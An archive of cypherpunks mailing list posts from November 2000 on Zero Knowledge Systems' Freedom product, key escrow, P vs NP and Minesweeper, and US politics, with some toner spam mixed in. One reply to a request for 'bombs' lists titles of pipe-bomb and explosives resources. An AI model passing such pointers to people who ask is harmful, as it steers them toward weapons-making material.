net, but once I tried to use Freedom, it not only wouldn't connect to them, but then trashed all my tcp/ip networking until I removed it. Which was surprising, actually -- I think it's the first thing I've found that I couldn't get to work with Vmware. And VPC has been the same, everything I've tried running on it works great, but I didn't bother trying Freedom since I don't need w95 on my Mac, just DOS and w3.1 for some old stuff. OTOH, it might work with VPC -- seems like Vmware has a weirder network setup than VPC, and maybe using a modem might make a big difference too, since VPC can access the modem directly and not get it's tcp/ip connection thru the host OS -- which, if I recall, the Freedom server saw as a proxy and so it puked. From anmetet at mixmaster.shinn.net Wed Nov 1 18:15:09 2000 From: anmetet at mixmaster.shinn.net (An Metet) Date: Wed, 1 Nov 2000 21:15:09 -0500 Subject: CDR: Minesweeper could hold key to Net security Message-ID: <924bcd249bf3b476e20a7ab94d9dffcc@mixmaster.shinn.net> http://digitalmass.boston.com/news/daily/11/01/minesweeper.html By Gareth Cook, Boston Globe Staff, 11/1/2000 The key to solving one of the most vexing and profound problems of modern mathematics could lie in a most unusual place: Minesweeper, a simple computer game that rivals solitaire as an office time-waster. The math problem, called the "P versus NP conjecture," asks why some questions are so difficult to answer with computers. It is considered so important that in May the Clay Mathematics Institute in Cambridge offered a $1 million prize for a solution. Proving the conjecture false would mean that modern encryption technology, the foundation of electronic commerce, would be open to easy attack. In the spring issue of the journal Mathematical Intelligencer, a British specialist in mathematical logic demonstrated that the conjecture would be false if someone can crack Minesweeper, a game in which players race to clear a path through a sea of explosives. Mathematicians hope the insight, the topic of an open lecture tonight at Harvard University, would bring the public in on a drama that, among specialists, has generated the same fervor that mariners of another age once brought to their search for a passage around the world. ''I have sometimes dreamt that someone found a solution,'' said Michael Sipser, an MIT math professor who has spent two decades and ''about 15,000 hours'' searching for the secret. The dreams ''filled me with an intense mixture of curiosity and envy,'' he said. Engineers are already building processors that run faster than a previous generation could imagine, powering computers that can conquer chess or generate directions from Boston to Walla Walla, Wash., in an instant. But the ''P versus NP conjecture,'' Sipser said, is an attempt to draw, with mathematical certainty, the boundary beyond which computers, no matter how powerful, cannot cross. ''This is enormously fundamental,'' said Ian Stewart, who is delivering the Harvard lecture and is a columnist for the magazine Scientific American and professor at the University of Warwick in England. Minesweeper, which is included free with the Windows operating system, does not look like the kind of game that would fascinate theorists. The gamer clicks squares of a grid on which mines have been hidden. Numbers then appear, indicating the number of mines in surrounding squares. Using these clues, the aim is to find all the mines. Intrigued by the kind of logic puzzles the game generates, Richard Kaye of the University of Birmingham in England posed ''the minesweeper consistency problem'': Given a board of numbers, is it possible to determine whether the clues are consistent with the rules? This question took him to outer reaches of computer science and to the essence of the ''P versus NP conjecture.'' Many common problems, including multiplying large numbers or putting a list in alphabetical order, are what computer scientists call ''P'' problems, readily solvable by computer. On the other hand, ''NP'' problems seem far more difficult; the only known solution is to break the problem into a large, often prohibitively large, number of P problems. One example is the classic ''traveling salesman'' question: If a salesman has to visit certain cities, what is the fastest route? Breaking the codes used to protect Internet communications is also an NP problem. But perhaps, some mathematicians have suggested, the NP problems are actually no more difficult than P problems; they just look that way because nobody has been inventive enough to find an easy way to solve them. Although mathematicians assume this is wrong, they still have not been able to prove the resulting ''P versus NP conjecture'' true after more than two decades of intense labor and several false alarms. Kaye's contribution, scrawled on loose sheets of paper during his daily train ride to work, was showing that the ''minesweeper consistency problem'' is ''NP complete,'' that a solution would mean that all NP problems are easily solvable. So, write a program that can decode Minesweeper for any size board, and you will join the pantheon of mathematical greats, alongside Euler and Pythagoras. And, of course, there is that million-dollar prize. The prize offered for the ''P versus NP conjecture'' is one of seven different million-dollar prizes for what the Clay Mathematics Institute considers to be the most important mathematical challenges of the new millennium, according to Clay president Arthur Jaffe. In the meantime, word that minesweeper has attained a new veneer of respectability will no doubt be treated with caution by recovered addicts. ''The first night I started playing it, my wife woke up at 3 in the morning and said, `What are you doing?''' said Rick Kane, an orthopedic surgeon at Noble Hospital in Westfield. ''Now,'' he said with a tentative laugh, ''I'm going to have to start playing again.'' From prizes at pogo.com Wed Nov 1 21:20:03 2000 From: prizes at pogo.com (pogo.com's Prize Central) Date: Wed, 1 Nov 2000 21:20:03 -0800 (PST) Subject: CDR: pogo.com Games -- prize results Message-ID: <25743320.973142403070.JavaMail.cdc-ops@chef.pogo.com> Hi cypherpunk0! Thanks for playing in the Monthly Comeback Drawing for Wednesday, November 1, 2000. The $500.00 winner was: fetisha17. Winning prizes at pogo.com is easy and FREE! Just play your favorite prize game to win tokens, then Cash In your tokens for a shot at $50, $250, $1000, or a DVD player. The more tokens you Cash In, the better your chances of winning are! Win tokens by playing the following games: 5 Alarm Trivia Ali Baba Slots Big Shot Roulette Buckaroo Blackjack The Great Pogini Poppit! Video Poker Play any of these great games for another chance to win! Keep on gaming! The pogo.com crew From nobody at remailer.privacy.at Wed Nov 1 13:34:02 2000 From: nobody at remailer.privacy.at (Anonymous) Date: Wed, 1 Nov 2000 22:34:02 +0100 Subject: CDR: Re: California bars free speech of those cutting deals on votes Message-ID: <90e19ab663009a58d15e2ecbda3a31d6@remailer.privacy.at> Jim Burnes wrote: > As much as I generally respect what Harry Browne says, I dontated money > to his campaign only to see it squandered on expensive DC consultants > who were 'friends of the party'. Nary a penny made it to drive-time > radio ads, which are by far the most cost effective communication medium > for reaching voters. ... > Hats off to CH and NRA for those ads, even though I'm still pissed about > the instant background check bullshit. Next time I want to excercise > my right to free speach lets see if I need an instant background check. > That particular compromise enabled the FBI to stop all gun sales by > simply bringing down the database. (Not to mention unconstitutionally > keep all records, making it a de-facto registration system.) If you're unfamiliar with "Citizens of America," check out: http://www.citizensofamerica.com/ They have some great anti-gungrabbing radio (and other media) ads worthy of contribution. From honig at sprynet.com Wed Nov 1 19:45:22 2000 From: honig at sprynet.com (David Honig) Date: Wed, 1 Nov 2000 22:45:22 -0500 Subject: CDR: Re: Zero Knowledge changes business model (press release) In-Reply-To: <20001101181628.A25757@weathership.homeport.org> References: <3.0.6.32.20001101093858.007e9420@pop.sprynet.com> Message-ID: <3.0.6.32.20001101193839.007ed9a0@pop.sprynet.com> At 05:59 PM 11/1/00 -0500, Adam Shostack wrote: > >Matt Blaze did some work on non-subvertable key escrow, where you >escrow keys with random folks, and when you, or Uncle Sam, want the >key, you announce that, and hope to get the key back. Let me be clear >that this also is not what we're doing. :) > >| Strong crypto means the employee can put an invincible lock on the >| corporate file cabinet. This might mean that invincible locks are >| not used in corporations. A corporation might require that any >| invincible physical locks be used in series, so the corp can get into the >| files if the first lock stays locked. That doesn't seem wrong >| to me; and in meatspace two locks in series is obvious and no compromise >| is made to either lock's design. >| >| Maybe no escrow per se, but corp. data is duplicated and each copy is >| encrypted by a person's bizkey and the corporate shared key for that person. >| Locks in series. >| >| (Now, it may be 'sad' that ZKS has changed its bizmodel to service >| businesses that need locks in series, but I'm only interested in >| whether its rational to universally denounce any locks-in-series >| architectures.) > >Thats not really it. We're much more focused on layered locks than >series locks. I would worry a lot about the architecture you outline >above being vulnerable to a whole slew of attacks on any one key, >which means an N key system is at least N times as vulnerable. I was suggesting using a split key, where it would take collaboration amongst N of M board members to assemble the second corporate-backup key. These kind of redundancy schemes are brilliant. Tolerating turncoats and car accidents. Series + parallel padlocks has interesting properties. >| >The "relevant legislation" language is the real kicker. >| >| Though this was elaborated on in a later reply, they really do need to >| specify what they mean exactly (re Canada & 'consumer privacy') when >| they say the nasty l-word in their public literature. Any mention of the >| law in crypto lit turns the stomache, puts the scanners on highest >| sensitivity. > >When we say 'nasty l-word' you can assume we're refering to CALEA, >RIP, and that sort of thing. When we talk about legislative >compliance, we mean complying with that whole slew of privacy laws. Govt "privacy" laws are a subset of what you should be doing, so more power to you, as they say. >As to the hypothetical that Tim will ask, we'll work very hard to >prevent laws requiring key escrow from coming into being. Your bodily fluids remain pure. We spend >time and energy maintaining relations with law enforcement in a lot of >places, explaining to them why we don't build in back doors. Please video and archive. Taxpayers want to know. And, >suprisingly, when you go and talk to them, rather than hissing and >shouting, they listen. > >Adam Of course they do, they're adsorbing intel. Good luck, dh From honig at sprynet.com Wed Nov 1 19:45:54 2000 From: honig at sprynet.com (David Honig) Date: Wed, 1 Nov 2000 22:45:54 -0500 Subject: CDR: Re: Zero Knowledge changes business model (press release) In-Reply-To: References: <3.0.6.32.20001101093858.007e9420@pop.sprynet.com> Message-ID: <3.0.6.32.20001101194333.007ed770@pop.sprynet.com> At 04:07 PM 11/1/00 -0800, Ray Dillinger wrote: > >First, I think the people who've spoken about document escrow are >right. A much safer approach than key escrow. That is the Big Point I've picked up. That you can dupe docs without cloning keys or even building that into your crypto primitive-tools. "Duplication not Escrow" is almost short enough for a bumper sticker. From petro at bounty.org Wed Nov 1 23:02:19 2000 From: petro at bounty.org (petro) Date: Wed, 1 Nov 2000 23:02:19 -0800 Subject: CDR: Re: Zero Knowledge changes business model (press release) In-Reply-To: <20001101131925.I724@slack.lne.com> References: <4.3.0.20001031100154.01638920@mail.well.com> <3.0.6.32.20001101093858.007e9420@pop.sprynet.com> <20001101131925.I724@slack.lne.com> Message-ID: >On Wed, Nov 01, 2000 at 03:56:56PM -0500, David Honig wrote: >One can envision a system where there's a corporate "document czar" who >is regularly given docs from various employees and who then encrypts them >in his own key. When and where the docs get decrypted is determined by >corporate policies. No key escrow required. > >I don't know of any existing system like this, but formal corporate >document control isn't my field. Should be an easy hack to add some sort of public-key crypto to CVS or something like bitkeeper, and Presto... -- A quote from Petro's Archives: ********************************************** "Despite almost every experience I've ever had with federal authority, I keep imagining its competence." John Perry Barlow From petro at bounty.org Wed Nov 1 23:03:42 2000 From: petro at bounty.org (petro) Date: Wed, 1 Nov 2000 23:03:42 -0800 Subject: CDR: Re: California bars free speech of those cutting deals on votes In-Reply-To: <90e19ab663009a58d15e2ecbda3a31d6@remailer.privacy.at> References: <90e19ab663009a58d15e2ecbda3a31d6@remailer.privacy.at> Message-ID: >Jim Burnes wrote: > >> As much as I generally respect what Harry Browne says, I dontated money >> to his campaign only to see it squandered on expensive DC consultants >> who were 'friends of the party'. Nary a penny made it to drive-time >> radio ads, which are by far the most cost effective communication medium >> for reaching voters. > >... > >> Hats off to CH and NRA for those ads, even though I'm still pissed about >> the instant background check bullshit. Next time I want to excercise >> my right to free speach lets see if I need an instant background check. >> That particular compromise enabled the FBI to stop all gun sales by >> simply bringing down the database. (Not to mention unconstitutionally >> keep all records, making it a de-facto registration system.) > >If you're unfamiliar with "Citizens of America," check out: >http://www.citizensofamerica.com/ > >They have some great anti-gungrabbing radio (and other media) ads worthy >of contribution. Hmmm... Is this who I think it is? -- A quote from Petro's Archives: ********************************************** "Despite almost every experience I've ever had with federal authority, I keep imagining its competence." John Perry Barlow From petro at bounty.org Wed Nov 1 23:08:11 2000 From: petro at bounty.org (petro) Date: Wed, 1 Nov 2000 23:08:11 -0800 Subject: CDR: Re: Zero Knowledge changes business model (press release) In-Reply-To: <20001101181628.A25757@weathership.homeport.org> References: <4.3.0.20001031100154.01638920@mail.well.com> <3.0.6.32.20001101093858.007e9420@pop.sprynet.com> <20001101181628.A25757@weathership.homeport.org> Message-ID: >places, explaining to them why we don't build in back doors. And, >suprisingly, when you go and talk to them, rather than hissing and >shouting, they listen. They listen, but do they hear? -- A quote from Petro's Archives: ********************************************** "Despite almost every experience I've ever had with federal authority, I keep imagining its competence." John Perry Barlow From shamrock at cypherpunks.to Wed Nov 1 20:14:27 2000 From: shamrock at cypherpunks.to (Lucky Green) Date: Wed, 1 Nov 2000 23:14:27 -0500 Subject: CDR: RE: The Market for Privacy Message-ID: Tim wrote: > The real market for robust security and privacy tools is, as > always, elsewhere. > > The _interesting_ market has always been for those who > are--demonstrably!--willing to pay big bucks to get on a plane to fly > to the Cayman Islands or Luxembourg to open an offshore account. For > those who are actively interested in untraceable VISA cards. For > those selling arms. For those trafficking in illegal thoughts. > > In short, for crypto anarchy. > > Not for fluff. In my view (I suspect this may be in agreement with Tim's comments above, though I naturally do not presume to speak for Tim) ZKS' inability to derive meaningful revenue of the Freedom (TM) product can be explained quite trivially: the product fails to meet market requirements. Those willing to pay cash to protect their Internet activities demand real privacy. Not the watered-down, Mickey Mouse "privacy" Freedom provided. Freedom does not offer the user untracable IP. Hence those seeking untracable IP didn't buy the product. Little surprise here. Freedom's current fate was predicted in detail on this list the moment ZKS' deviated from their initial anon IP promises. It appears that ZKS is yet another company that fell prey to the DigiCash "we know better than the market what the market wants" syndrome. What a shame, really. --Lucky Green "Anytime you decrypt... its against the law". Jack Valenti, President, Motion Picture Association of America in a sworn deposition, 2000-06-06 From tcmay at got.net Wed Nov 1 23:38:33 2000 From: tcmay at got.net (Tim May) Date: Wed, 1 Nov 2000 23:38:33 -0800 Subject: CDR: Re: In-Reply-To: <000a01c0449a$a3046340$2a251fac@omantel.net.om> References: <000a01c0449a$a3046340$2a251fac@omantel.net.om> Message-ID: At 11:00 AM +0400 11/2/00, ibnhamed wrote: >please sent me some sampels !!!BOMBS!!! Anarchist Black Cross Backyard Ballistics Bombs and Pranks Loaded Explosions Match Head Bomb Overthrow.com -- Ab Igne Ignem -- Former Home of the Utopian Anarchist Party Pipe Bomb and Fire Bomb Designs Pipe Bombs etc on Overthrow.com Pipebombs, explosives, bombs, c-4, anarchist cookbook, and other crap. SeMTeXs SeCReTs Terrorist's Handbook Uploaded - EXPLOSIONS - Blowing Things Up -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From ravage at ssz.com Wed Nov 1 21:47:12 2000 From: ravage at ssz.com (Jim Choate) Date: Wed, 1 Nov 2000 23:47:12 -0600 (CST) Subject: CDR: Re: Zero Knowledge changes business model (press release) In-Reply-To: <20001101172055.B11670@ideath.parrhesia.com> Message-ID: On Wed, 1 Nov 2000, Greg Broiles wrote: > I'm aware of one example of a similar use in a NASDAQ-listed FDA-regulated > pharmaceutical company, where they have a staff of "document czars" who > are the only ones empowered to produce, edit, and maintain archives of > documents considered especially critical to their intellectual property > and/or research and production records required to gain and keep FDA > listing for their products. I get the impression that's standard practice > in the industry; and probably standard practice anywhere, where the > continued availability (or confidentiality) of documents can turn into > gains or losses in the $100M - $10B range. Document translation, especialy patent and trademark, is also especialy critical in this respect. The long term viability of such groups is based on a reputation of performance that can break over a single incident. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From bill.stewart at pobox.com Thu Nov 2 00:01:52 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Thu, 02 Nov 2000 00:01:52 -0800 Subject: CDR: RE: California bars free speech of those cutting deals on votes In-Reply-To: References: < Message-ID: <3.0.5.32.20001102000152.00adac10@idiom.com> At 11:06 AM 11/1/00 -0800, Tim May wrote: >California passed the Medical Marijuana Initiative (more than once, >as I recall, as the Fedgov found "technicalities" to strike it down >the first time it passed). Actually, the state legislature passed it, twice, and State Reptile\\\\\\\Governor Pete Wilson vetoed it, twice. So we had to do an initiative, which Wilson politicked against, but it passed, so State Atty. General Dan Lundgen and the Feds tried to gut it. The new Democrat Atty. Gen. Bill Lockyer's not helping any. >No "interstate commerce" is involved (*), for most home-grown pot, >and yet the Fedgov has asserted the claim that federal dietary laws >take precedence over local dietary laws. If you read the Federal drug laws, they start out by bald-facedly asserting that since it's hard to tell where a particular bunch of drugs comes from, Congress presumes that they may have originated in or be destined for interstate commerce, so they have jurisdiction. (Even if it's a marijuana plant still attached to the ground....) Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From bill.stewart at pobox.com Thu Nov 2 00:10:40 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Thu, 02 Nov 2000 00:10:40 -0800 Subject: CDR: Re: any good idea? In-Reply-To: <003b01c0446f$92a947c0$c001a8c0@Kenix> Message-ID: <3.0.5.32.20001102001040.00ae2ae0@idiom.com> At 09:52 AM 11/2/00 +0800, Kenix wrote: >hi all, > suppose we have two numbers, one is serial added(about 8~10 digits), >another is a random number(about 7~12 digits), then how can i generate a 5 >digits number depends on both of them? there shouldn't have any key so i can >verify the 5-digit number later just use the pervious two numbers, i know >the security is completely depends on the method that how to generate this >5-digit number. > any good method you all can hint me? any good random number generator? This is called hashing. There are lots of ways to do this. If you need cryptographic strength, use a cryptographically strong hash function like SHA1 and keep 5 digits of output. If you don't need cryptographic strength, use a CRC code (Cyclic Redundancy Check). There are lots of books out there with theory or examples about CRCs and cryptographic hashes. The basic differences are how easy it is to predict differences in the input given different outputs - in cryptography you care about this being hard, while for regular applications you just care that different inputs usually give different outputs so everything's distributed evenly. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From jacks at wongfaye.com Thu Nov 2 00:48:24 2000 From: jacks at wongfaye.com (jacks at wongfaye.com) Date: Thu, 2 Nov 2000 00:48:24 Subject: CDR: toner cartridges Message-ID: <8.671988.619047@> Cartridge Depot Order Line: 1-888-222-0400 or 1-888-248-2015 Fax Line: 1-888-977-1577 E-mail removal: 1-888-248-4930 Order by Fax or Phone Laser Printer Toner Cartridges,Fax and Copier Cartridges We accept Government, School & University Purchase Orders Just Leave you PO# with correct Billing & Shipping Address Current Prices are as follows: For hewlett packard printers 4L,4p,1100 and series 2 cartridges are now 49 dollars 2p cartridges are 54 3si cartridges are 75 4000 and 2100 cartridges are 79 5000 and 8100 cartrdidges are 135 5p,6p,5mp and 6mp cartridges are 59 for Aplle printers pro 600 or 16-600 cartridges are now 69 dollars laser writer select 300,320 and 360 cartridges are 69 laser writer 300 and 320 cartridges are 54 laser writer nt,2nt,2f,2g and LS cartridges are 54 laser writer personal 12-640 cartridges are 79 for hewlett packard laser fax machines our laserfax 500,700,5000,7000,fx1 and fx2 cartridges are now 59 our laserfax fx3 cartridges are 69 our laserfax fx4 cartridges are 79 for lexmark and ibm printers optra 4019 and 4029 are now 125 optra r,r+ and optra s cartrisges are 135 optra e cartridges are 59 for canon copiers pc 3, 6re, 7 and 11 (A30) are now 69 pc 300,320,700,720 and 760 (E-40) are 89 Please include your Phone number, Company Name, Shipping Address, items needed with quantities, method of payment (COD or Credit Card) and credit card information. We ship UPS Ground (Add $4.5). Our standard exchange policy is 90 days. (All Cartridges are oem compatible) From auto107640 at hushmail.com Wed Nov 1 22:15:49 2000 From: auto107640 at hushmail.com (auto107640 at hushmail.com) Date: Thu, 2 Nov 2000 01:15:49 -0500 Subject: CDR: RE: The Market for Privacy Message-ID: <200011020614.WAA30665@user3.hushmail.com> --Hushpart_boundary_iWCDbgAikNCcbLlDAWpLjBKeDnioBxsF Content-type: text/plain WOW - well I have to start out this post with a REALLY STRONG sense of vindication!! DAMN it feels good to be right!! 4 months ago (circa July) I made (using a differnet hushmail nym - forgot the password to that one so I had to make a new one..) a number of posts to this list of the subject of: (1) why ZKS doesn't really protect privacy in the first place, (2) why privacy is a MAJOR ecnomic issue, and (3) why, (b/c of (2)) the real market for privacy is on the business side of the equation, not in wimpy pieces of consumer client software like Freedom.. At the time I equated privacy with the Code of Fair Information Practices (CFIP), and explained at a NUMBER of businesses would be MORE THAN WILLING to put these principles into practice at their enterprise b/c of the massive REVENUE potential this could create.. At the time, I was pretty much totally dismissed.. every point I made was ridiculed as being short-sighted or a pipe dream and, esp concerning the fact that businesses would be willing to put in place CFIP, I was told that I was f***ing out of my mind and that that made no sense whatsoever.. How DELICIOUS to watch (in FOUR SHORT MONTHS) ZKS TRY to turn around their whole business to basically the same principles that I outlined in those earlier postings!! Enough w/ the revenge, though -- let's proceed to dismantle Tim May's inept, knuckle-dragger arguments on these issues.. >This is a recurring theme, and one we've talked about many times. >Fact is, most people don't think they need security. Most people >don't even think they need backups. Until their hard disk crashes. >And so on. It's a tough sell in either case. >This is why the market for crypto and security and anonymity has >tended to be at the "margins" of society: porn, warez, freedom >fighting, etc. Such has it always been, such shall it always be. >Targetting the mainstream is a tough sell. No, completely wrong, as usual. The REAL market for crypto and security has ALWAYS BEEN and WILL ALWAYS BE in the financial services sector. These people have absolutely enormous amounts of money at stake, and in so far as cryptography and security can reduce the risk of bad loans, of theft, of a gazillion other risks that financial services companies face, these companies will continue to operate at the forefront of global cryptography technology.. Anonymity has NO MARKET in this world outside of free speech.. (I'm sure I'll be ridiculed for this again too, but in 4 short months something else will happen to vindicate me.. I'll let you guys know when it does..) >(The most widely-deployed bits of crypto are in places where huge >deals were cut with browser makers, e.g., SSL,Verisign, etc. The >customer is only vaguely aware that such things are happening. No >sale to Joe Average is needed. Probably this is the way Web proxies >will ultimately be sold.) Good security should be so seamless the user doesn't even know it's there. SSL satisfies this design requirement. So does Verisign. Freedom doesn't. Freedom sux.. it's like, it's always there and I can't uninstall that hideous piece of software off my machine fast enough.. >ZKS was just one of many companies attempting to sell privacy tools >to "Joe Average," and his little daughter Suzy Average (pictured in >ZKS Freedom ads...). Well, Joe doesn't do much with his home computer >except check some sites and maybe download a few porn images from >Danni's Hotbox when Suzy has gone to bed and the wife is passed out >on the sofa. >_Could_ ZKS Freedom help Joe a little? Maybe, but it's not something >even on his radar screen to worry about. His bigger concern is having >Suzy or the wifey find the paltry pieces of porn he purloined. Privacy can and is an enormously powerful tool for global consumers, and like Garfinkel says, maybe it will take years to realize this economic reality, but it will be realized, sooner or later.. just not in the form that Tim May thinks.. >Or he's at work and his boss has just announced that several >employees have been fired for using the company's networks for >checking sports scores, downloading porn, usng Napster, etc. >These are Joe Average's _real_ concerns about privacy. Cute ads about >little girls needing their privacy probably won't sell ZKS Freedom to >Joe Average. I agree - I've always found the ZKS ad campaign to be rather distasteful in fact.. (the bar codes on people.. esp since the Internet doens't really operate by bar coding people and even if it did, ZKS wouldn't be able to do anything about it.. it's called FALSE ADVERTISING.. the FTC might have a thing or two to say about that..) >ZKS may do better by bundling Freedom with Danni's Hard Drive >accounts! "Your porn is downloaded to you in "Plain, Brown Wrapper" >format, disguised to look like a marketing report containing the key >words you specify. Your boss will think it's business, your wife will >be bored." >(No, I'm not suggesting this as any kind of real product. The market >is just too small, and downloading porn or Napster songs at work is a >lose for many good reasons. The proper solution is even more >straightforward: only fools download porn at company sites, and they >deserve to be fired. And if Joe Average doesn't have his own >_personal_ computer at home, they're cheap enough. No reason Little >Suzy should be doing her homework on the machine he has his porn on. >And even if he does, encrypted partitions are trivial to set up. >Plus, removable CD-RWs and Zips. "Zip--for when you don't want your >porn discovered by your wife!") >The second major use for privacy tools is preventing the "dossier >society" effect, where one's words in alt.sex.gerbils are archived >for all time and are seen by prospective employers, Senate >confirmation panels, etc. This is a likely market for ZKS Freedom. >Ah, except that utterly free and easy to use services like MyDeja and >MyYahoo and suchlike are dominant in this application area ("space"). Everything up to here is basically the ravings of a madman, so I'll leave it alone.. >It is routine to see "aardvaark42 at mydeja.com" posts in nearly all >newsgroups. While these are not cryptographically robust, it's >unlikely these will ever be linked to true names. Especially as they >may be set up on the fly, through proxies, etc. That's a good point and that's basically what I've always said about "nyms".. you don't really need ZKS for a nym (Hushmail works fine for me), and even when you DO get one, the only thing it's good for is free speech, never for privacy. (Ever notice how privacy discussions are always framed in the context of commerce? Like what are the privacy policies of that bank or HMO? Or what is Amazon doing w/ my purchasing profile? AND YES, there are privacy threats from government, but you're never going to be able to *make money* by battling the government (like ZKS was trying to).. since we're talking about a business here (ZKS), I'll keep the discussion limited to commerce..) >Still, some fraction of people will pay for Freedom-type nyms. >Probably not $50 a year, as that is a significant fraction of their >entire ISP bill. But not a lot of people. And they won't pay much. >The real market for robust security and privacy tools is, as always, elsewhere. Financial services.. >The _interesting_ market has always been for those who >are--demonstrably!--willing to pay big bucks to get on >a plane to fly to the Cayman Islands or Luxembourg to open an >offshore account. For those who are actively interested in untraceable VISA >cards. For those selling arms. For those trafficking in illegal >thoughts. >In short, for crypto anarchy. No, this market is actually really really boring. It's too tiny and the opportunity for recurring revenue streams is too small and ... no.. I won't rip it apart any further.. >Not for fluff. >Will the new ZKS business model work? Maybe. But as Simson Garfinkel >points out in the article Declan wrote, this may take years to >develop. Until then, tough sledding. >MojoNation seems to be a lower burn-rate run at the real low hanging fruit. It's (vaguely) the right approach to privacy (going after the enterprise), and I'm sure ZKS has been pursuing for some time now (probably since I made those postings back in July). But in terms of being delivering privacy tools to the enterprise, they're already behind companies like Privada and PrivacyRight. I mean, granted I slammed Privada earlier for their weenie knock-off of Freedom, but at least they've been pursuing the enterprise market for some time now in earnest.. and as for PrivacyRight, it seems they've already made substantial inroads into the health care and financial services markets that ZKS claims it wants to pursue.. So what is ZKS really selling to enterprises? Is it anonymity software like Freedom? No business will ever buy this.. is it fancy, schmancy cryptography software? Again, I've sold security products to enterprises for years, and every CIO in America knows that security is not isomorphic to cryptography. No hacker in the world bothers trying to crack 40-bit encryption when he knows there are users on the enterprise network dumb enough to have username "Tim" and password "May".. this is a much easier way to subvert the network.. Security starts with good cryptography, but encompasses a great deal more (lots of policy, for one). Privacy starts w/ good security, but also encompasses a great deal more than plain, old vanilla security.. For this reason, if all ZKS is selling is cryptography, then good luck! you're already way behind the times.. And if ZKS is selling consulting hours, then thanks, but I think I'll take my budget to a place where they already have the whole privacy picture in focus (like PriceWaterhouse Cooper or Ernst & Young), not to a place where they just brag about cryptography all day long.. --Hushpart_boundary_iWCDbgAikNCcbLlDAWpLjBKeDnioBxsF-- IMPORTANT NOTICE: If you are not using HushMail, this message could have been read easily by the many people who have access to your open personal email messages. Get your FREE, totally secure email address at http://www.hushmail.com. From jacks at wongfaye.com Thu Nov 2 01:16:38 2000 From: jacks at wongfaye.com (jacks at wongfaye.com) Date: Thu, 2 Nov 2000 01:16:38 Subject: CDR: toner cartridges Message-ID: <129.674763.130591@> Cartridge Depot Order Line: 1-888-222-0400 or 1-888-248-2015 Fax Line: 1-888-977-1577 E-mail removal: 1-888-248-4930 Order by Fax or Phone Laser Printer Toner Cartridges,Fax and Copier Cartridges We accept Government, School & University Purchase Orders Just Leave you PO# with correct Billing & Shipping Address Current Prices are as follows: For hewlett packard printers 4L,4p,1100 and series 2 cartridges are now 49 dollars 2p cartridges are 54 3si cartridges are 75 4000 and 2100 cartridges are 79 5000 and 8100 cartrdidges are 135 5p,6p,5mp and 6mp cartridges are 59 for Aplle printers pro 600 or 16-600 cartridges are now 69 dollars laser writer select 300,320 and 360 cartridges are 69 laser writer 300 and 320 cartridges are 54 laser writer nt,2nt,2f,2g and LS cartridges are 54 laser writer personal 12-640 cartridges are 79 for hewlett packard laser fax machines our laserfax 500,700,5000,7000,fx1 and fx2 cartridges are now 59 our laserfax fx3 cartridges are 69 our laserfax fx4 cartridges are 79 for lexmark and ibm printers optra 4019 and 4029 are now 125 optra r,r+ and optra s cartrisges are 135 optra e cartridges are 59 for canon copiers pc 3, 6re, 7 and 11 (A30) are now 69 pc 300,320,700,720 and 760 (E-40) are 89 Please include your Phone number, Company Name, Shipping Address, items needed with quantities, method of payment (COD or Credit Card) and credit card information. We ship UPS Ground (Add $4.5). Our standard exchange policy is 90 days. (All Cartridges are oem compatible) From jamesd at echeque.com Wed Nov 1 22:29:23 2000 From: jamesd at echeque.com (James A, Donald) Date: Thu, 2 Nov 2000 01:29:23 -0500 Subject: CDR: Re: Zero Knowledge changes business model (press release) In-Reply-To: References: <1836f773a613dba50cdd1730c42fef3e@remailer.privacy.at> Message-ID: <4.3.1.2.20001101222348.0273a618@shell11.ba.best.com> -- At 08:22 PM 11/1/2000 -0500, Tim May wrote: > I had always planned to someday get a Freedom account and use my > "five nyms" for some true tests of how free the free speech they > advocate really is. I attempted to do this, but was foiled by bugs. I paid my money, but did not get my nyms. This seems to have been a widespread experience. ZKS denied any problem. I concluded that if I could not trust them, I could not trust their proprietary cryptography, and forgot about it. --digsig James A. Donald 6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG 79Not33QUrv6kvtoRfClah4adIOLJIZt2C23ACey 4nB2i8GGZcsW/nRadMBER2tYL63mp4v74YcsvYMJA From nobody at dizum.com Wed Nov 1 17:40:03 2000 From: nobody at dizum.com (Nomen Nescio) Date: Thu, 2 Nov 2000 02:40:03 +0100 (CET) Subject: CDR: Re: California bars free speech of those cutting deals on votes Message-ID: On Wed, Nov 01, 2000 at 05:26:09PM -0800, Greg Broiles wrote: > a la _Bivens v. Six Unknown Agents_, a Supreme court case whose citation > eludes me at the moment. Bivens v. Six Unknown Named Agents of Federal Bureau of Narcotics, 403 U.S. 388, 91 S.Ct. 1999, 29 L.Ed.2d 619 (U.S.N.Y. Jun 21, 1971). The remand is: Bivens v. Six Unknown Named Agents of Federal Bureau of Narcotics, 456 F.2d 1339 (2nd Cir.(N.Y.) Mar 08, 1972). From tcmay at got.net Thu Nov 2 00:10:21 2000 From: tcmay at got.net (Tim May) Date: Thu, 2 Nov 2000 03:10:21 -0500 Subject: CDR: Re: Zero Knowledge changes business model (press release) In-Reply-To: <4.3.1.2.20001101222348.0273a618@shell11.ba.best.com> References: <1836f773a613dba50cdd1730c42fef3e@remailer.privacy.at> Message-ID: At 1:29 AM -0500 11/2/00, James A, Donald wrote: > -- >At 08:22 PM 11/1/2000 -0500, Tim May wrote: >> I had always planned to someday get a Freedom account and use my >> "five nyms" for some true tests of how free the free speech they >> advocate really is. > >I attempted to do this, but was foiled by bugs. I paid my money, >but did not get my nyms. This seems to have been a widespread >experience. ZKS denied any problem. I concluded that if I could >not trust them, I could not trust their proprietary cryptography, >and forgot about it. Well, perhaps because of my vociferousness, they sent me five nym coupons (I think that's the term) tonight, gratis, 